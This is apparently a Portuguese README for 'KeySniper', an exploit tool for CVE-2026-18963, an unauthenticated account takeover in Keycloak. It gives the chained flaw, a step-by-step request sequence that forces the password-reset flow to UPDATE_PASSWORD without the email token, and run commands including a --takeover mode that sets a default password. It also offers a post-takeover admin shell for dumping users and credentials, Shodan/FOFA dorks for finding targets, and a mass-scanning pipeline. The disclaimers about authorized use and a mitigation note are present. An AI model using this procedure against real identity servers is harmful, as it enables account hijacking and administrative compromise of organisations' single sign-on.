
**CVE-2026-18963** — tomada de conta não autenticada no Keycloak por meio do fluxo de redefinição de credenciais.

Autor: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — assunção de conta Keycloak não autenticada via fluxo de redefinição de credenciais.
KeySniper é um scanner orientado à produção para bug bounty em escopo e avaliações autorizadas: saída de radar em tempo real, descoberta de realms, detecção vs. assunção, shell interativo pós-ATO e pipeline via stdin (subfinder → httpx → KeySniper).
O modo padrão é detecção (--takeover 0). --takeover 1 altera a senha da conta no alvo.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — Mecanismo Fraco de Recuperação de Senha |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Produto | Keycloak / Red Hat SSO |
| Corrigido em | 26.7.2, 26.6.6, 26.4.15 |
| Autenticação | Nenhuma |
Dois bugs são encadeados:
tryAnotherWay armazena uma nota de seletor genérica "true" que não é limitada ao ID de execução.ResetCredentialEmail.action() chama context.success() sem verificar ACTION_TOKEN_USER_ID.Resultado: um chamador não autenticado pode forçar o fluxo de redefinição de senha para um nome de usuário conhecido e chegar a UPDATE_PASSWORD sem clicar no link do e-mail.
A varredura não é “esqueci minha senha existe”. A confirmação é:
execution= muda (execução de e-mail vazada)kc-passwd-update-formexec3 = 28e2cd30-… (primeiro seletor)
exec6 = 8fd21174-… (GET pivô)
UPDATE_PASSWORD
[radar] ao vivo (Localização, JS, cabeçalhos, sonda de realm)302 Location + HTML/JS + well-known + wordlist/authhttpx / subfinder--takeover 0 apenas detecção--takeover 1 define senha (padrão SelaM1337@@)--shell shell interativo de token / API de admin após ATOVULN / ATO vermelho, SAFE verde, SKIP amarelopython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9+.
# detecção (sem alteração de senha)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# assunção + shell interativo
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / usuário
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# pipeline
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# arquivo de lista
python3 KeySniper.py -l urls.txt --takeover 0 -q
Não use --takeover 1 ou --shell em um dump de pipeline.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ href de esqueci minha senha (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<usuário>
[5] GET startSessionPolling / restart (se presente)
[6] GET URL original de reset-credentials (pivô)
→ re-renderização do seletor + nova execution=
[7] POST seletor obsoleto (sem token de ação)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (apenas se --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update não é contado como VULN.
Abre apenas após [ATO] em um alvo único:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
Usa concessão de senha do proprietário do recurso (admin-cli, depois account).
HTTP 403 em /admin/realms significa que Direct Access Grants / função de admin é limitada — o ATO ainda pode ser válido.
/realms/master e depois /auth/realms/masterLocation, HTML, JS, "realm":, emissor/realms/{nome} retorna 200 + corpo Keycloak/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (escopo do programa):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ é ignorado, a menos que o corpo tenha issuer / public_key / login-actionsSKIP (realm tem reset desabilitado)kc-passwd-update-form → SKIPhttpx são reduzidos à origem (/auth mantido)Keycloak < 26.7.2 (também 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigação: desabilitar Esqueci Minha Senha em todos os realms e depois atualizar.
A captura de tela neste repositório é redigida (placeholder sso.lab.local). Tokens, senhas, e-mails e hosts reais não são publicados.
Mitsec
X: x.com/ynsmroztas
Uso em pesquisa em alvos autorizados dentro do escopo. Mantenha --takeover 1 desligado em hosts fora do escopo.
| Flag | Padrão | Significado |
|---|
-u URL | — | Alvo único |
-l ARQUIVO | — | Lista de URLs |
| stdin | automático | Linhas httpx (primeiro campo = URL) |
--takeover 0|1 | 0 | Detecção vs. alteração de senha |
-U USUÁRIO | admin | Nome de usuário alvo |
-r REALM | auto | Forçar realm ou descobrir |
--pass | SelaM1337@@ | Nova senha se takeover=1 |
-t N | 4 | Threads do pipeline |
-q | desligado | Apenas resultados |
--shell | desligado | Shell pós-ATO (alvo único) |
| Status | Significado |
|---|
VULN | Pivô + UPDATE_PASSWORD (senha não alterada) |
ATO | Etapa 8 bem-sucedida |
SAFE | Reset aberto, sem seletor obsoleto (corrigido) |
SKIP | Não é Keycloak / reset desabilitado / vazamento sem formulário UPDATE |
FAIL | Erro de rede / exceção inesperada |